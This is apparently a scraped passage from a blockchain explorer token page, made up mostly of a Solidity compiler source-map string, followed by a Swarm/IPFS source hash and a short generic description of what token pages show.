42:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;1019:352;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;1019:352::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:2;;;1521:1;1518;1511:12;1473:2;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1463:228:1:o;1696:277::-;1763:6;1816:2;1804:9;1795:7;1791:23;1787:32;1784:2;;;1832:1;1829;1822:12;1784:2;1864:9;1858:16;1917:5;1910:13;1903:21;1896:5;1893:32;1883:2;;1939:1;1936;1929:12;1978:306;2066:6;2074;2082;2135:2;2123:9;2114:7;2110:23;2106:32;2103:2;;;2151:1;2148;2141:12;2103:2;2180:9;2174:16;2164:26;;2230:2;2219:9;2215:18;2209:25;2199:35;;2274:2;2263:9;2259:18;2253:25;2243:35;;2093:191;;;;;:::o;3889:597::-;4001:4;4030:2;4059;4048:9;4041:21;4091:6;4085:13;4134:6;4129:2;4118:9;4114:18;4107:34;4159:1;4169:140;4183:6;4180:1;4177:13;4169:140;;;4278:14;;;4274:23;;4268:30;4244:17;;;4263:2;4240:26;4233:66;4198:10;;4169:140;;;4327:6;4324:1;4321:13;4318:2;;;4397:1;4392:2;4383:6;4372:9;4368:22;4364:31;4357:42;4318:2;-1:-1:-1;4470:2:1;4449:15;-1:-1:-1;;4445:29:1;4430:45;;;;4477:2;4426:54;;4010:476;-1:-1:-1;;;4010:476:1:o;6892:356::-;7094:2;7076:21;;;7113:18;;;7106:30;7172:34;7167:2;7152:18;;7145:62;7239:2;7224:18;;7066:182::o;9363:980::-;9625:4;9673:3;9662:9;9658:19;9704:6;9693:9;9686:25;9730:2;9768:6;9763:2;9752:9;9748:18;9741:34;9811:3;9806:2;9795:9;9791:18;9784:31;9835:6;9870;9864:13;9901:6;9893;9886:22;9939:3;9928:9;9924:19;9917:26;;9978:2;9970:6;9966:15;9952:29;;9999:1;10009:195;10023:6;10020:1;10017:13;10009:195;;;10088:13;;-1:-1:-1;;;;;10084:39:1;10072:52;;10179:15;;;;10144:12;;;;10120:1;10038:9;10009:195;;;-1:-1:-1;;;;;;;10260:32:1;;;;10255:2;10240:18;;10233:60;-1:-1:-1;;;10324:3:1;10309:19;10302:35;10221:3;9634:709;-1:-1:-1;;;9634:709:1:o;10537:128::-;10577:3;10608:1;10604:6;10601:1;10598:13;10595:2;;;10614:18;;:::i;:::-;-1:-1:-1;10650:9:1;;10585:80::o;10670:217::-;10710:1;10736;10726:2;;10780:10;10775:3;10771:20;10768:1;10761:31;10815:4;10812:1;10805:15;10843:4;10840:1;10833:15;10726:2;-1:-1:-1;10872:9:1;;10716:171::o;10892:422::-;10981:1;11024:5;10981:1;11038:270;11059:7;11049:8;11046:21;11038:270;;;11118:4;11114:1;11110:6;11106:17;11100:4;11097:27;11094:2;;;11127:18;;:::i;:::-;11177:7;11167:8;11163:22;11160:2;;;11197:16;;;;11160:2;11276:22;;;;11236:15;;;;11038:270;;;11042:3;10956:358;;;;;:::o;11319:140::-;11377:5;11406:47;11447:4;11437:8;11433:19;11427:4;11513:5;11543:8;11533:2;;-1:-1:-1;11584:1:1;11598:5;;11533:2;11632:4;11622:2;;-1:-1:-1;11669:1:1;11683:5;;11622:2;11714:4;11732:1;11727:59;;;;11800:1;11795:130;;;;11707:218;;11727:59;11757:1;11748:10;;11771:5;;;11795:130;11832:3;11822:8;11819:17;11816:2;;;11839:18;;:::i;:::-;-1:-1:-1;;11895:1:1;11881:16;;11910:5;;11707:218;;12009:2;11999:8;11996:16;11990:3;11984:4;11981:13;11977:36;11971:2;11961:8;11958:16;11953:2;11947:4;11944:12;11940:35;11937:77;11934:2;;;-1:-1:-1;12046:19:1;;;12078:5;;11934:2;12125:34;12150:8;12144:4;12125:34;:::i;:::-;12195:6;12191:1;12187:6;12183:19;12174:7;12171:32;12168:2;;;12206:18;;:::i;:::-;12244:20;;11523:747;-1:-1:-1;;;11523:747:1:o;12275:168::-;12315:7;12381:1;12377;12373:6;12369:14;12366:1;12363:21;12358:1;12351:9;12344:17;12340:45;12337:2;;;12388:18;;:::i;:::-;-1:-1:-1;12428:9:1;;12327:116::o;12448:125::-;12488:4;12516:1;12513;12510:8;12507:2;;;12521:18;;:::i;:::-;-1:-1:-1;12558:9:1;;12497:76::o;12578:135::-;12617:3;-1:-1:-1;;12638:17:1;;12635:2;;;12658:18;;:::i;:::-;-1:-1:-1;12705:1:1;12694:13;;12625:88::o;12718:127::-;12779:10;12774:3;12770:20;12767:1;12760:31;12810:4;12807:1;12800:15;12834:4;12831:1;12824:15;12850:127;12911:10;12906:3;12902:20;12899:1;12892:31;12942:4;12939:1;12932:15;12966:4;12963:1;12956:15;13114:131;-1:-1:-1;;;;;13189:31:1;;13179:42;;13169:2;;13235:1;13232;13225:12;13169:2;13159:86;:::o

Swarm Source

ipfs://17880481e844331e5f51bc0259e98d1c5b103b2884a3300c9600977596fc57cf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.